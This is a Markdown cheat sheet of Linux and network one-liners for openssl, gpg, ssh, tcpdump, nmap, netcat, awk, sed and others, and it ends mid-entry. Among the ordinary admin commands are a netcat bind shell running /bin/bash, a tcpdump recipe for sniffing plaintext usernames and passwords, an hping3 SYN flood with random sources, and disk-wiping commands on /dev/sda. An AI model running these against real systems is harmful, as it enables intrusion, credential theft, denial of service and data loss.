- [Your OpenSSL CSR command is out of date](https://expeditedsecurity.com/blog/openssl-csr-command/)
- [OpenSSL example configuration file](https://www.tbs-certificats.com/openssl-dem-server-cert.cnf)
###### List available EC curves
```bash
openssl ecparam -list_curves
```
###### Print ECDSA private and public keys
```bash
( _fd="private.key" ; \
openssl ec -in ${_fd} -noout -text )
# For x25519 only extracting public key
( _fd="private.key" ; _fd_pub="public.key" ; \
openssl pkey -in ${_fd} -pubout -out ${_fd_pub} )
```
###### Generate ECDSA private key
```bash
# _curve: prime256v1, secp521r1, secp384r1
( _fd="private.key" ; _curve="prime256v1" ; \
openssl ecparam -out ${_fd} -name ${_curve} -genkey )
# _curve: X25519
( _fd="private.key" ; _curve="x25519" ; \
openssl genpkey -algorithm ${_curve} -out ${_fd} )
```
###### Generate private key and CSR (ECC)
```bash
# _curve: prime256v1, secp521r1, secp384r1
( _fd="domain.com.key" ; _fd_csr="domain.com.csr" ; _curve="prime256v1" ; \
openssl ecparam -out ${_fd} -name ${_curve} -genkey ; \
openssl req -new -key ${_fd} -out ${_fd_csr} -sha256 )
```
###### Generate self-signed certificate
```bash
# _len: 2048, 4096
( _fd="domain.key" ; _fd_out="domain.crt" ; _len="2048" ; _days="365" ; \
openssl req -newkey rsa:${_len} -nodes \
-keyout ${_fd} -x509 -days ${_days} -out ${_fd_out} )
```
###### Generate self-signed certificate from existing private key
```bash
# _len: 2048, 4096
( _fd="domain.key" ; _fd_out="domain.crt" ; _days="365" ; \
openssl req -key ${_fd} -nodes \
-x509 -days ${_days} -out ${_fd_out} )
```
###### Generate self-signed certificate from existing private key and csr
```bash
# _len: 2048, 4096
( _fd="domain.key" ; _fd_csr="domain.csr" ; _fd_out="domain.crt" ; _days="365" ; \
openssl x509 -signkey ${_fd} -nodes \
-in ${_fd_csr} -req -days ${_days} -out ${_fd_out} )
```
###### Generate DH public parameters
```bash
( _dh_size="2048" ; \
openssl dhparam -out /etc/nginx/ssl/dhparam_${_dh_size}.pem "$_dh_size" )
```
###### Display DH public parameters
```bash
openssl pkeyparam -in dhparam.pem -text
```
###### Extract private key from pfx
```bash
( _fd_pfx="cert.pfx" ; _fd_key="key.pem" ; \
openssl pkcs12 -in ${_fd_pfx} -nocerts -nodes -out ${_fd_key} )
```
###### Extract private key and certs from pfx
```bash
( _fd_pfx="cert.pfx" ; _fd_pem="key_certs.pem" ; \
openssl pkcs12 -in ${_fd_pfx} -nodes -out ${_fd_pem} )
```
###### Extract certs from p7b
```bash
# PKCS#7 file doesn't include private keys.
( _fd_p7b="cert.p7b" ; _fd_pem="cert.pem" ; \
openssl pkcs7 -inform DER -outform PEM -in ${_fd_p7b} -print_certs > ${_fd_pem})
# or:
openssl pkcs7 -print_certs -in -in ${_fd_p7b} -out ${_fd_pem})
```
###### Convert DER to PEM
```bash
( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \
openssl x509 -in ${_fd_der} -inform der -outform pem -out ${_fd_pem} )
```
###### Convert PEM to DER
```bash
( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \
openssl x509 -in ${_fd_pem} -outform der -out ${_fd_der} )
```
###### Verification of the private key
```bash
( _fd="private.key" ; \
openssl rsa -noout -text -in ${_fd} )
```
###### Verification of the public key
```bash
# 1)
( _fd="public.key" ; \
openssl pkey -noout -text -pubin -in ${_fd} )
# 2)
( _fd="private.key" ; \
openssl rsa -inform PEM -noout -in ${_fd} &> /dev/null ; \
if [ $? = 0 ] ; then echo -en "OK\n" ; fi )
```
###### Verification of the certificate
```bash
( _fd="certificate.crt" ; # format: pem, cer, crt \
openssl x509 -noout -text -in ${_fd} )
```
###### Verification of the CSR
```bash
( _fd_csr="request.csr" ; \
openssl req -text -noout -in ${_fd_csr} )
```
###### Check the private key and the certificate are match
```bash
(openssl rsa -noout -modulus -in private.key | openssl md5 ; \
openssl x509 -noout -modulus -in certificate.crt | openssl md5) | uniq
```
###### Check the private key and the CSR are match
```bash
(openssl rsa -noout -modulus -in private.key | openssl md5 ; \
openssl req -noout -modulus -in request.csr | openssl md5) | uniq
```
___
##### Tool: [secure-delete](https://wiki.archlinux.org/index.php/Securely_wipe_disk)
###### Secure delete with shred
```bash
shred -vfuz -n 10 file
shred --verbose --random-source=/dev/urandom -n 1 /dev/sda
```
###### Secure delete with scrub
```bash
scrub -p dod /dev/sda
scrub -p dod -r file
```
###### Secure delete with badblocks
```bash
badblocks -s -w -t random -v /dev/sda
badblocks -c 10240 -s -w -t random -v /dev/sda
```
###### Secure delete with secure-delete
```bash
srm -vz /tmp/file
sfill -vz /local
sdmem -v
swapoff /dev/sda5 && sswap -vz /dev/sda5
```
___
##### Tool: [dd](https://en.wikipedia.org/wiki/Dd_(Unix))
###### Show dd status every so often
```bash
dd <dd_params> status=progress
watch --interval 5 killall -USR1 dd
```
###### Redirect output to a file with dd
```bash
echo "string" | dd of=filename
```
___
##### Tool: [gpg](https://www.gnupg.org/)
###### Export public key
```bash
gpg --export --armor "<username>" > username.pkey
```
* `--export` - export all keys from all keyrings or specific key
* `-a|--armor` - create ASCII armored output
###### Encrypt file
```bash
gpg -e -r "<username>" dump.sql
```
* `-e|--encrypt` - encrypt data
* `-r|--recipient` - encrypt for specific <username>
###### Decrypt file
```bash
gpg -o dump.sql -d dump.sql.gpg
```
* `-o|--output` - use as output file
* `-d|--decrypt` - decrypt data (default)
###### Search recipient
```bash
gpg --keyserver hkp://keyserver.ubuntu.com --search-keys "<username>"
```
* `--keyserver` - set specific key server
* `--search-keys` - search for keys on a key server
###### List all of the packets in an encrypted file
```bash
gpg --batch --list-packets archive.gpg
gpg2 --batch --list-packets archive.gpg
```
___
##### Tool: [system-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-system-other)
###### Reboot system from init
```bash
exec /sbin/init 6
```
###### Init system from single user mode
```bash
exec /sbin/init
```
###### Show current working directory of a process
```bash
readlink -f /proc/<PID>/cwd
```
###### Show actual pathname of the executed command
```bash
readlink -f /proc/<PID>/exe
```
##### Tool: [curl](https://curl.haxx.se)
```bash
curl -Iks https://www.google.com
```
* `-I` - show response headers only
* `-k` - insecure connection when using ssl
* `-s` - silent mode (not display body)
```bash
curl -Iks --location -X GET -A "x-agent" https://www.google.com
```
* `--location` - follow redirects
* `-X` - set method
* `-A` - set user-agent
```bash
curl -Iks --location -X GET -A "x-agent" --proxy http://127.0.0.1:16379 https://www.google.com
```
* `--proxy [socks5://|http://]` - set proxy server
```bash
curl -o file.pdf -C - https://example.com/Aiju2goo0Ja2.pdf
```
* `-o` - write output to file
* `-C` - resume the transfer
###### Find your external IP address (external services)
```bash
curl ipinfo.io
curl ipinfo.io/ip
curl icanhazip.com
curl ifconfig.me/ip ; echo
```
###### Repeat URL request
```bash
# URL sequence substitution with a dummy query string:
curl -ks https://example.com/?[1-20]
# With shell 'for' loop:
for i in {1..20} ; do curl -ks https://example.com/ ; done
```
###### Check DNS and HTTP trace with headers for specific domains
```bash
### Set domains and external dns servers.
_domain_list=(google.com) ; _dns_list=("8.8.8.8" "1.1.1.1")
for _domain in "${_domain_list[@]}" ; do
printf '=%.0s' {1..48}
echo
printf "[\\e[1;32m+\\e[m] resolve: %s\\n" "$_domain"
for _dns in "${_dns_list[@]}" ; do
# Resolve domain.
host "${_domain}" "${_dns}"
echo
done
for _proto in http https ; do
printf "[\\e[1;32m+\\e[m] trace + headers: %s://%s\\n" "$_proto" "$_domain"
# Get trace and http headers.
curl -Iks -A "x-agent" --location "${_proto}://${_domain}"
echo
done
done
unset _domain_list _dns_list
```
___
##### Tool: [httpie](https://httpie.org/)
```bash
http -p Hh https://www.google.com
```
* `-p` - print request and response headers
* `H` - request headers
* `B` - request body
* `h` - response headers
* `b` - response body
```bash
http -p Hh https://www.google.com --follow --verify no
```
* `-F, --follow` - follow redirects
* `--verify no` - skip SSL verification
```bash
http -p Hh https://www.google.com --follow --verify no \
--proxy http:http://127.0.0.1:16379
```
* `--proxy [http:]` - set proxy server
##### Tool: [ssh](https://www.openssh.com/)
###### Escape Sequence
```
# Supported escape sequences:
~. - terminate connection (and any multiplexed sessions)
~B - send a BREAK to the remote system
~C - open a command line
~R - Request rekey (SSH protocol 2 only)
~^Z - suspend ssh
~# - list forwarded connections
~& - background ssh (when waiting for connections to terminate)
~? - this message
~~ - send the escape character by typing it twice
```
###### Compare a remote file with a local file
```bash
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
```
###### SSH connection through host in the middle
```bash
ssh -t reachable_host ssh unreachable_host
```
###### Run command over SSH on remote host
```bash
cat > cmd.txt << __EOF__
cat /etc/hosts
__EOF__
ssh host -l user $(<cmd.txt)
```
###### Get public key from private key
```bash
ssh-keygen -y -f ~/.ssh/id_rsa
```
###### Get all fingerprints
```bash
ssh-keygen -l -f .ssh/known_hosts
```
###### SSH authentication with user password
```bash
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no user@remote_host
```
###### SSH authentication with publickey
```bash
ssh -o PreferredAuthentications=publickey -o PubkeyAuthentication=yes -i id_rsa user@remote_host
```
###### Simple recording SSH session
```bash
function _ssh_sesslog() {
_sesdir="<path/to/session/logs>"
mkdir -p "${_sesdir}" && \
ssh $@ 2>&1 | tee -a "${_sesdir}/$(date +%Y%m%d).log"
}
# Alias:
alias ssh='_ssh_sesslog'
```
###### Using Keychain for SSH logins
```bash
### Delete all of ssh-agent's keys.
function _scl() {
/usr/bin/keychain --clear
}
### Add key to keychain.
function _scg() {
/usr/bin/keychain /path/to/private-key
source "$HOME/.keychain/$HOSTNAME-sh"
}
```
###### SSH login without processing any login scripts
```bash
ssh -tt user@host bash
```
###### SSH local port forwarding
Example 1:
```bash
# Forwarding our local 2250 port to nmap.org:443 from localhost through localhost
host1> ssh -L 2250:nmap.org:443 localhost
# Connect to the service:
host1> curl -Iks --location -X GET https://localhost:2250
```
Example 2:
```bash
# Forwarding our local 9051 port to db.d.x:5432 from localhost through node.d.y
host1> ssh -nNT -L 9051:db.d.x:5432 node.d.y
# Connect to the service:
host1> psql -U db_user -d db_dev -p 9051 -h localhost
```
* `-n` - redirects stdin from `/dev/null`
* `-N` - do not execute a remote command
* `-T` - disable pseudo-terminal allocation
###### SSH remote port forwarding
```bash
# Forwarding our local 9051 port to db.d.x:5432 from host2 through node.d.y
host1> ssh -nNT -R 9051:db.d.x:5432 node.d.y
# Connect to the service:
host2> psql -U postgres -d postgres -p 8000 -h localhost
```
___
##### Tool: [linux-dev](https://www.tldp.org/LDP/abs/html/devref1.html)
###### Testing remote connection to port
```bash
timeout 1 bash -c "</dev/<proto>/<host>/<port>" >/dev/null 2>&1 ; echo $?
```
* `<proto` - set protocol (tcp/udp)
* `<host>` - set remote host
* `<port>` - set destination port
###### Read and write to TCP or UDP sockets with common bash tools
```bash
exec 5<>/dev/tcp/<host>/<port>; cat <&5 & cat >&5; exec 5>&-
```
___
##### Tool: [tcpdump](http://www.tcpdump.org/)
###### Filter incoming (on interface) traffic (specific <ip:port>)
```bash
tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443
```
* `-n` - don't convert addresses (`-nn` will not resolve hostnames or ports)
* `-e` - print the link-level headers
* `-i [iface|any]` - set interface
* `-Q|-D [in|out|inout]` - choose send/receive direction (`-D` - for old tcpdump versions)
* `host [ip|hostname]` - set host, also `[host not]`
* `[and|or]` - set logic
* `port [1-65535]` - set port number, also `[port not]`
###### Filter incoming (on interface) traffic (specific <ip:port>) and write to a file
```bash
tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443 -c 5 -w tcpdump.pcap
```
* `-c [num]` - capture only num number of packets
* `-w [filename]` - write packets to file, `-r [filename]` - reading from file
###### Capture all ICMP packets
```bash
tcpdump -nei eth0 icmp
```
###### Check protocol used (TCP or UDP) for service
```bash
tcpdump -nei eth0 tcp port 22 -vv -X | egrep "TCP|UDP"
```
###### Display ASCII text (to parse the output using grep or other)
```bash
tcpdump -i eth0 -A -s0 port 443
```
###### Grab everything between two keywords
```bash
tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p'
```
###### Grab user and pass ever plain http
```bash
tcpdump -i eth0 port http -l -A | egrep -i \
'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' \
--color=auto --line-buffered -B20
```
###### Extract HTTP User Agent from HTTP request header
```bash
tcpdump -ei eth0 -nn -A -s1500 -l | grep "User-Agent:"
```
###### Capture only HTTP GET and POST packets
```bash
tcpdump -ei eth0 -s 0 -A -vv \
'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' or 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
```
or simply:
```bash
tcpdump -ei eth0 -s 0 -v -n -l | egrep -i "POST /|GET /|Host:"
```
###### Rotate capture files
```bash
tcpdump -ei eth0 -w /tmp/capture-%H.pcap -G 3600 -C 200
```
* `-G <num>` - pcap will be created every `<num>` seconds
* `-C <size>` - close the current pcap and open a new one if is larger than `<size>`
###### Top hosts by packets
```bash
tcpdump -ei enp0s25 -nnn -t -c 200 | cut -f 1,2,3,4 -d '.' | sort | uniq -c | sort -nr | head -n 20
```
###### Excludes any RFC 1918 private address
```bash
tcpdump -nei eth0 'not (src net (10 or 172.16/12 or 192.168/16) and dst net (10 or 172.16/12 or 192.168/16))'
```
___
##### Tool: [tcpick](http://tcpick.sourceforge.net/)
###### Analyse packets in real-time
```bash
while true ; do tcpick -a -C -r dump.pcap ; sleep 2 ; clear ; done
```
___
##### Tool: [ngrep](http://ngrep.sourceforge.net/usage.html)
```bash
ngrep -d eth0 "www.domain.com" port 443
```
* `-d [iface|any]` - set interface
* `[domain]` - set hostname
* `port [1-65535]` - set port number
```bash
ngrep -d eth0 "www.domain.com" src host 10.240.20.2 and port 443
```
* `(host [ip|hostname])` - filter by ip or hostname
* `(port [1-65535])` - filter by port number
```bash
ngrep -d eth0 -qt -O ngrep.pcap "www.domain.com" port 443
```
* `-q` - quiet mode (only payloads)
* `-t` - added timestamps
* `-O [filename]` - save output to file, `-I [filename]` - reading from file
```bash
ngrep -d eth0 -qt 'HTTP' 'tcp'
```
* `HTTP` - show http headers
* `tcp|udp` - set protocol
* `[src|dst] host [ip|hostname]` - set direction for specific node
```bash
ngrep -l -q -d eth0 -i "User-Agent: curl*"
```
* `-l` - stdout line buffered
* `-i` - case-insensitive search
___
##### Tool: [hping3](http://www.hping.org/)
```bash
hping3 -V -p 80 -s 5050 <scan_type> www.google.com
```
* `-V|--verbose` - verbose mode
* `-p|--destport` - set destination port
* `-s|--baseport` - set source port
* `<scan_type>` - set scan type
* `-F|--fin` - set FIN flag, port open if no reply
* `-S|--syn` - set SYN flag
* `-P|--push` - set PUSH flag
* `-A|--ack` - set ACK flag (use when ping is blocked, RST response back if the port is open)
* `-U|--urg` - set URG flag
* `-Y|--ymas` - set Y unused flag (0x80 - nullscan), port open if no reply
* `-M 0 -UPF` - set TCP sequence number and scan type (URG+PUSH+FIN), port open if no reply
```bash
hping3 -V -c 1 -1 -C 8 www.google.com
```
* `-c [num]` - packet count
* `-1` - set ICMP mode
* `-C|--icmptype [icmp-num]` - set icmp type (default icmp-echo = 8)
```bash
hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 --flood --rand-source <remote_host>
```
* `--flood` - sent packets as fast as possible (don't show replies)
* `--rand-source` - random source address mode
* `-d --data` - data size
* `-w|--win` - winsize (default 64)
___
##### Tool: [nmap](https://nmap.org/)
###### Ping scans the network
```bash
nmap -sP 192.168.0.0/24
```
###### Show only open ports
```bash
nmap -F --open 192.168.0.0/24
```
###### Full TCP port scan using with service version detection
```bash
nmap -p 1-65535 -sV -sS -T4 192.168.0.0/24
```
###### Nmap scan and pass output to Nikto
```bash
nmap -p80,443 192.168.0.0/24 -oG - | nikto.pl -h -
```
###### Recon specific ip:service with Nmap NSE scripts stack
```bash
# Set variables:
_hosts="192.168.250.10"
_ports="80,443"
# Set Nmap NSE scripts stack:
_nmap_nse_scripts="+dns-brute,\
+http-auth-finder,\
+http-chrono,\
+http-cookie-flags,\
+http-cors,\
+http-cross-domain-policy,\
+http-csrf,\
+http-dombased-xss,\
+http-enum,\
+http-errors,\
+http-git,\
+http-grep,\
+http-internal-ip-disclosure,\
+http-jsonp-detection,\
+http-malware-host,\
+http-methods,\
+http-passwd,\
+http-phpself-xss,\
+http-php-version,\
+http-robots.txt,\
+http-sitemap-generator,\
+http-shellshock,\
+http-stored-xss,\
+http-title,\
+http-unsafe-output-escaping,\
+http-useragent-tester,\
+http-vhosts,\
+http-waf-detect,\
+http-waf-fingerprint,\
+http-xssed,\
+traceroute-geolocation.nse,\
+ssl-enum-ciphers,\
+whois-domain,\
+whois-ip"
# Set Nmap NSE script params:
_nmap_nse_scripts_args="dns-brute.domain=${_hosts},http-cross-domain-policy.domain-lookup=true,"
_nmap_nse_scripts_args+="http-waf-detect.aggro,http-waf-detect.detectBodyChanges,"
_nmap_nse_scripts_args+="http-waf-fingerprint.intensive=1"
# Perform scan:
nmap --script="$_nmap_nse_scripts" --script-args="$_nmap_nse_scripts_args" -p "$_ports" "$_hosts"
```
___
##### Tool: [netcat](http://netcat.sourceforge.net/)
```bash
nc -kl 5000
```
* `-l` - listen for an incoming connection
* `-k` - listening after client has disconnected
* `>filename.out` - save receive data to file (optional)
```bash
nc 192.168.0.1 5051 < filename.in
```
* `< filename.in` - send data to remote host
```bash
nc -vz 10.240.30.3 5000
```
* `-v` - verbose output
* `-z` - scan for listening daemons
```bash
nc -vzu 10.240.30.3 1-65535
```
* `-u` - scan only udp ports
###### Transfer data file (archive)
```bash
server> nc -l 5000 | tar xzvfp -
client> tar czvfp - /path/to/dir | nc 10.240.30.3 5000
```
###### Launch remote shell
```bash
# 1)
server> nc -l 5000 -e /bin/bash
client> nc 10.240.30.3 5000
# 2)
server> rm -f /tmp/f; mkfifo /tmp/f
server> cat /tmp/f | /bin/bash -i 2>&1 | nc -l 127.0.0.1 5000 > /tmp/f
client> nc 10.240.30.3 5000
```
###### Simple file server
```bash
while true ; do nc -l 5000 | tar -xvf - ; done
```
###### Simple minimal HTTP Server
```bash
while true ; do nc -l -p 1500 -c 'echo -e "HTTP/1.1 200 OK\n\n $(date)"' ; done
```
###### Simple HTTP Server
> Restarts web server after each request - remove `while` condition for only single connection.
```bash
cat > index.html << __EOF__
<!doctype html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title></title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<p>
Hello! It's a site.
</p>
</body>
</html>
__EOF__
```
```bash
server> while : ; do \
(echo -ne "HTTP/1.1 200 OK\r\nContent-Length: $(wc -c <index.html)\r\n\r\n" ; cat index.html;) | \
nc -l -p 5000 \
; done
```
* `-p` - port number
###### Simple HTTP Proxy (single connection)
```bash
#!/usr/bin/env bash
if [[ $# != 2 ]] ; then
printf "%s\\n" \
"usage: ./nc-proxy listen-port bk_host:bk_port"
fi
_listen_port="$1"
_bk_host=$(echo "$2" | cut -d ":" -f1)
_bk_port=$(echo "$2" | cut -d ":" -f2)
printf " lport: %s\\nbk_host: %s\\nbk_port: %s\\n\\n" \
"$_listen_port" "$_bk_host" "$_bk_port"
_tmp=$(mktemp -d)
_back="$_tmp/pipe.back"
_sent="$_tmp/pipe.sent"
_recv="$_tmp/pipe.recv"
trap 'rm -rf "$_tmp"' EXIT
mkfifo -m 0600 "$_back" "$_sent" "$_recv"
sed "s/^/=> /" <"$_sent" &
sed "s/^/<= /" <"$_recv" &
nc -l -p "$_listen_port" <"$_back" | \
tee "$_sent" | \
nc "$_bk_host" "$_bk_port" | \
tee "$_recv" >"$_back"
```
```bash
server> chmod +x nc-proxy && ./nc-proxy 8080 192.168.252.10:8000
lport: 8080
bk_host: 192.168.252.10
bk_port: 8000
client> http -p h 10.240.30.3:8080
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=31536000
Content-Length: 2748
Content-Type: text/html; charset=utf-8
Date: Sun, 01 Jul 2018 20:12:08 GMT
Last-Modified: Sun, 01 Apr 2018 21:53:37 GMT
```
###### Create a single-use TCP or UDP proxy
```bash
### TCP -> TCP
nc -l -p 2000 -c "nc [ip|hostname] 3000"
### TCP -> UDP
nc -l -p 2000 -c "nc -u [ip|hostname] 3000"
### UDP -> UDP
nc -l -u -p 2000 -c "nc -u [ip|hostname] 3000"
### UDP -> TCP
nc -l -u -p 2000 -c "nc [ip|hostname] 3000"
```
___
##### Tool: [gnutls-cli](https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html)
###### Testing connection to remote host (with SNI support)
```bash
gnutls-cli -p 443 google.com
```
###### Testing connection to remote host (without SNI support)
```bash
gnutls-cli --disable-sni -p 443 google.com
```
___
##### Tool: [socat](http://www.dest-unreach.org/socat/doc/socat.html)
###### Testing remote connection to port
```bash
socat - TCP4:10.240.30.3:22
```
* `-` - standard input (STDIO)
* `TCP4:<params>` - set tcp4 connection with specific params
* `[hostname|ip]` - set hostname/ip
* `[1-65535]` - set port number
###### Redirecting TCP-traffic to a UNIX domain socket under Linux
```bash
socat TCP-LISTEN:1234,bind=127.0.0.1,reuseaddr,fork,su=nobody,range=127.0.0.0/8 UNIX-CLIENT:/tmp/foo
```
* `TCP-LISTEN:<params>` - set tcp listen with specific params
* `[1-65535]` - set port number
* `bind=[hostname|ip]` - set bind hostname/ip
* `reuseaddr` - allows other sockets to bind to an address
* `fork` - keeps the parent process attempting to produce more connections
* `su=nobody` - set user
* `range=[ip-range]` - ip range
* `UNIX-CLIENT:<params>` - communicates with the specified peer socket
* `filename` - define socket
___
##### Tool: [p0f](http://lcamtuf.coredump.cx/p0f3/)
###### Set iface in promiscuous mode and dump traffic to the log file
```bash
p0f -i enp0s25 -p -d -o /dump/enp0s25.log
```
* `-i` - listen on the specified interface
* `-p` - set interface in promiscuous mode
* `-d` - fork into background
* `-o` - output file
___
##### Tool: [netstat](https://en.wikipedia.org/wiki/Netstat)
###### Graph # of connections for each hosts
```bash
netstat -an | awk '/ESTABLISHED/ { split($5,ip,":"); if (ip[1] !~ /^$/) print ip[1] }' | \
sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
```
###### Monitor open connections for specific port including listen, count and sort it per IP
```bash
watch "netstat -plan | grep :443 | awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"
```
###### Grab banners from local IPv4 listening ports
```bash
netstat -nlt | grep 'tcp ' | grep -Eo "[1-9][0-9]*" | xargs -I {} sh -c "echo "" | nc -v -n -w1 127.0.0.1 {}"
```
___
##### Tool: [rsync](https://en.wikipedia.org/wiki/Rsync)
###### Rsync remote data as root using sudo
```bash
rsync --rsync-path 'sudo rsync' username@hostname:/path/to/dir/ /local/
```
___
##### Tool: [host](https://en.wikipedia.org/wiki/Host_(Unix))
###### Resolves the domain name (using external dns server)
```bash
host google.com 9.9.9.9
```
###### Checks the domain administrator (SOA record)
```bash
host -t soa google.com 9.9.9.9
```
___
##### Tool: [dig](https://en.wikipedia.org/wiki/Dig_(command))
###### Resolves the domain name (short output)
```bash
dig google.com +short
```
###### Lookup NS record for specific domain
```bash
dig @9.9.9.9 google.com NS
```
###### Query only answer section
```bash
dig google.com +nocomments +noquestion +noauthority +noadditional +nostats
```
###### Query ALL DNS Records
```bash
dig google.com ANY +noall +answer
```
###### DNS Reverse Look-up
```bash
dig -x 172.217.16.14 +short
```
___
##### Tool: [certbot](https://certbot.eff.org/)
###### Generate multidomain certificate
```bash
certbot certonly -d example.com -d www.example.com
```
###### Generate wildcard certificate
```bash
certbot certonly --manual --preferred-challenges=dns -d example.com -d *.example.com
```
###### Generate certificate with 4096 bit private key
```bash
certbot certonly -d example.com -d www.example.com --rsa-key-size 4096
```
___
##### Tool: [network-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-network-other)
###### Get all subnets for specific AS (Autonomous system)
```bash
AS="AS32934"
whois -h whois.radb.net -- "-i origin ${AS}" | \
grep "^route:" | \
cut -d ":" -f2 | \
sed -e 's/^[ \t]//' | \
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | \
cut -d ":" -f2 | \
sed -e 's/^[ \t]/allow /' | \
sed 's/$/;/' | \
sed 's/allow */subnet -> /g'
```
###### Resolves domain name from dns.google.com with curl and jq
```bash
_dname="google.com" ; curl -s "https://dns.google.com/resolve?name=${_dname}&type=A" | jq .
```
##### Tool: [git](https://git-scm.com/)
###### Log alias for a decent view of your repo
```bash
# 1)
git log --oneline --decorate --graph --all
# 2)
git log --graph \
--pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' \
--abbrev-commit
```
___
##### Tool: [python](https://www.python.org/)
###### Static HTTP web server
```bash
# Python 3.x
python3 -m http.server 8000 --bind 127.0.0.1
# Python 2.x
python -m SimpleHTTPServer 8000
```
###### Static HTTP web server with SSL support
```bash
# Python 3.x
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('localhost', 4443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="path/to/key.pem",
certfile='path/to/cert.pem', server_side=True)
httpd.serve_forever()
# Python 2.x
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('localhost', 4443),
SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="path/tp/key.pem",
certfile='path/to/cert.pem', server_side=True)
httpd.serve_forever()
```
###### Encode base64
```bash
python -m base64 -e <<< "sample string"
```
###### Decode base64
```bash
python -m base64 -d <<< "dGhpcyBpcyBlbmNvZGVkCg=="
```
##### Tool: [awk](http://www.grymoire.com/Unix/Awk.html)
###### Search for matching lines
```bash
# egrep foo
awk '/foo/' filename
```
###### Search non matching lines
```bash
# egrep -v foo
awk '!/foo/' filename
```
###### Print matching lines with numbers
```bash
# egrep -n foo
awk '/foo/{print FNR,$0}' filename
```
###### Print the last column
```bash
awk '{print $NF}' filename
```
###### Find all the lines longer than 80 characters
```bash
awk 'length($0)>80{print FNR,$0}' filename
```
###### Print only lines of less than 80 characters
```bash
awk 'length < 80 filename
```
###### Print double new lines a file
```bash
awk '1; { print "" }' filename
```
###### Print line numbers
```bash
awk '{ print FNR "\t" $0 }' filename
awk '{ printf("%5d : %s\n", NR, $0) }' filename # in a fancy manner
```
###### Print line numbers for only non-blank lines
```bash
awk 'NF { $0=++a " :" $0 }; { print }' filename
```
###### Print the line and the next two (i=5) lines after the line matching regexp
```bash
awk '/foo/{i=5+1;}{if(i){i--; print;}}' filename
```
###### Print the lines starting at the line matching 'server {' until the line matching '}'
```bash
awk '/server {/,/}/' filename
```
###### Print multiple columns with separators
```bash
awk -F' ' '{print "ip:\t" $2 "\n port:\t" $3' filename
```
###### Remove empty lines
```bash
awk 'NF > 0' filename
# alternative:
awk NF filename
```
###### Delete trailing white space (spaces, tabs)
```bash
awk '{sub(/[ \t]*$/, "");print}' filename
```
###### Delete leading white space
```bash
awk '{sub(/^[ \t]+/, ""); print}' filename
```
###### Remove duplicate consecutive lines
```bash
# uniq
awk 'a !~ $0{print}; {a=$0}' filename
```
###### Remove duplicate entries in a file without sorting
```bash
awk '!x[$0]++' filename
```
###### Exclude multiple columns
```bash
awk '{$1=$3=""}1' filename
```
###### Substitute foo for bar on lines matching regexp
```bash
awk '/regexp/{gsub(/foo/, "bar")};{print}' filename
```
###### Add some characters at the beginning of matching lines
```bash
awk '/regexp/{sub(/^/, "++++"); print;next;}{print}' filename
```
###### Get the last hour of Apache logs
```bash
awk '/'$(date -d "1 hours ago" "+%d\\/%b\\/%Y:%H:%M")'/,/'$(date "+%d\\/%b\\/%Y:%H:%M")'/ { print $0 }' \
/var/log/httpd/access_log
```
___
##### Tool: [sed](http://www.grymoire.com/Unix/Sed.html)
###### Print a specific line from a file
```bash
sed -n 10p /path/to/file
```
###### Remove a specific line from a file
```bash
sed -i 10d /path/to/file
# alternative (BSD): sed -i'' 10d /path/to/file
```
###### Remove a range of lines from a file
```bash
sed -i <file> -re '<start>,<end>d'
```
###### Replace newline(s) with a space
```bash
sed ':a;N;$!ba;s/\n/ /g' /path/to/file
# cross-platform compatible syntax:
sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ /g' /path/to/file
```
- `:a` create a label `a`
- `N` append the next line to the pattern space
- `$!` if not the last line, ba branch (go to) label `a`
- `s` substitute, `/\n/` regex for new line, `/ /` by a space, `/g` global match (as many times as it can)
Alternatives:
```bash
# perl version (sed-like speed):
perl -p -e 's/\n/ /' /path/to/file
# bash version (slow):
while read line ; do printf "%s" "$line " ; done < file
```
###### Delete string +N next lines
```bash
sed '/start/,+4d' /path/to/file
```
___
##### Tool: [grep](http://www.grymoire.com/Unix/Grep.html)
###### Search for a "pattern" inside all files in the current directory
```bash
grep -rn "pattern"
grep -RnisI "pattern" *
fgrep "pattern" * -R
```
###### Show only for multiple patterns
```bash
grep 'INFO*'\''WARN' filename
grep 'INFO\|WARN' filename
grep -e INFO -e WARN filename
grep -E '(INFO|WARN)' filename
egrep "INFO|WARN" filename
```
###### Except multiple patterns
```bash
grep -vE '(error|critical|warning)' filename
```
###### Show data from file without comments
```bash
grep -v ^[[:space:]]*# filename
```
###### Show data from file without comments and new lines
```bash
egrep -v '#|^$' filename
```
###### Show strings with a dash/hyphen
```bash
grep -e -- filename
grep -- -- filename
grep "\-\-" filename
```
###### Remove blank lines from a file and save output to new file
```bash
grep . filename > newfilename
```
##### Tool: [perl](https://www.perl.org/)
###### Search and replace (in place)
```bash
